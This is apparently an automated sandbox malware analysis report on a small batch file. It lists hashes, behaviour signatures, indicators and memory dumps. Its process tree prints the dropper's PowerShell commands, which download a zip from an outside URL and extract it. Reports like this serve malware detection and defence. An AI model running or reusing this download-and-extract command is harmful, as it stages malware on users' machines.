3113000f470106b98b5a3208266c79213a33567ca7841dd1cfe8ab84847c4eb8

Analysis

max time kernel
1559s
max time network
1562s
platform
windows7_x64
resource
win7-20231023-en
resource tags

arch:x64arch:x86image:win7-20231023-enlocale:en-usos:windows7-x64system
submitted
06/11/2023, 17:25

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

tesy - Copy (3).bat
Size

706B
MD5

035f17438f6146d5ac7285b4adfeb370
SHA1

ef83c877367e96073e2b9b841d9c03ece6b1df7e
SHA256

02261a07ff83d906a835ac5229b25595239717e0091f2462804d0a31859bbdc0
SHA512

49455c7edd51537ba92e2db0941f571cd6ad89252702a19cf5910b390b182c16fc970ca62c26582b293ac5fc096e84538c5634472ab6e31bbd29242e8bb816cf

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
3	2696	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2696	powershell.exe
2896	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2696	powershell.exe
Token: SeDebugPrivilege	2896	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1968 wrote to memory of 2696	1968	cmd.exe	29
PID 1968 wrote to memory of 2696	1968	cmd.exe	29
PID 1968 wrote to memory of 2696	1968	cmd.exe	29
PID 1968 wrote to memory of 2896	1968	cmd.exe	30
PID 1968 wrote to memory of 2896	1968	cmd.exe	30
PID 1968 wrote to memory of 2896	1968	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (3).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1968
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip', 'test1.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2696
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'test1.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2896

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
7b69524b13bf7ea611633b0a5b315bc6

SHA1
6b9fd9f428112ed42c13827d01ae73f2f91b8103

SHA256
d49d0fb4e00e4a238c9ee47280e13e5a0ccbab73c1f67c665a676a1c6228d269

SHA512
5d8a0c04c9b080ac31cbe8ee7daa35ff907dfeb84b19e93cd76bee1388f0e4d1db50b67c58771e26c3cb2bd1c0f248b8353c1239b963523a98c226c3120d574f

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\AXUIMAZCDTFP4NPOS213.temp

Filesize
7KB

MD5
7b69524b13bf7ea611633b0a5b315bc6

SHA1
6b9fd9f428112ed42c13827d01ae73f2f91b8103

SHA256
d49d0fb4e00e4a238c9ee47280e13e5a0ccbab73c1f67c665a676a1c6228d269

SHA512
5d8a0c04c9b080ac31cbe8ee7daa35ff907dfeb84b19e93cd76bee1388f0e4d1db50b67c58771e26c3cb2bd1c0f248b8353c1239b963523a98c226c3120d574f

Download Submit
memory/2696-8-0x00000000027C0000-0x0000000002840000-memory.dmp

Filesize
512KB

Download
memory/2696-5-0x000007FEF58C0000-0x000007FEF625D000-memory.dmp

Filesize
9.6MB

Download
memory/2696-4-0x000000001B2D0000-0x000000001B5B2000-memory.dmp

Filesize
2.9MB

Download
memory/2696-9-0x000007FEF58C0000-0x000007FEF625D000-memory.dmp

Filesize
9.6MB

Download
memory/2696-10-0x00000000027C0000-0x0000000002840000-memory.dmp

Filesize
512KB

Download
memory/2696-12-0x000007FEF58C0000-0x000007FEF625D000-memory.dmp

Filesize
9.6MB

Download
memory/2696-6-0x0000000001EC0000-0x0000000001EC8000-memory.dmp

Filesize
32KB

Download
memory/2696-7-0x00000000027C0000-0x0000000002840000-memory.dmp

Filesize
512KB

Download
memory/2896-19-0x00000000023A0000-0x00000000023A8000-memory.dmp

Filesize
32KB

Download
memory/2896-18-0x000000001B330000-0x000000001B612000-memory.dmp

Filesize
2.9MB

Download
memory/2896-20-0x000007FEF4F20000-0x000007FEF58BD000-memory.dmp

Filesize
9.6MB

Download
memory/2896-21-0x0000000002660000-0x00000000026E0000-memory.dmp

Filesize
512KB

Download
memory/2896-22-0x000007FEF4F20000-0x000007FEF58BD000-memory.dmp

Filesize
9.6MB

Download
memory/2896-23-0x0000000002660000-0x00000000026E0000-memory.dmp

Filesize
512KB

Download
memory/2896-24-0x0000000002660000-0x00000000026E0000-memory.dmp

Filesize
512KB

Download
memory/2896-25-0x0000000002660000-0x00000000026E0000-memory.dmp

Filesize
512KB

Download
memory/2896-26-0x000007FEF4F20000-0x000007FEF58BD000-memory.dmp

Filesize
9.6MB

Download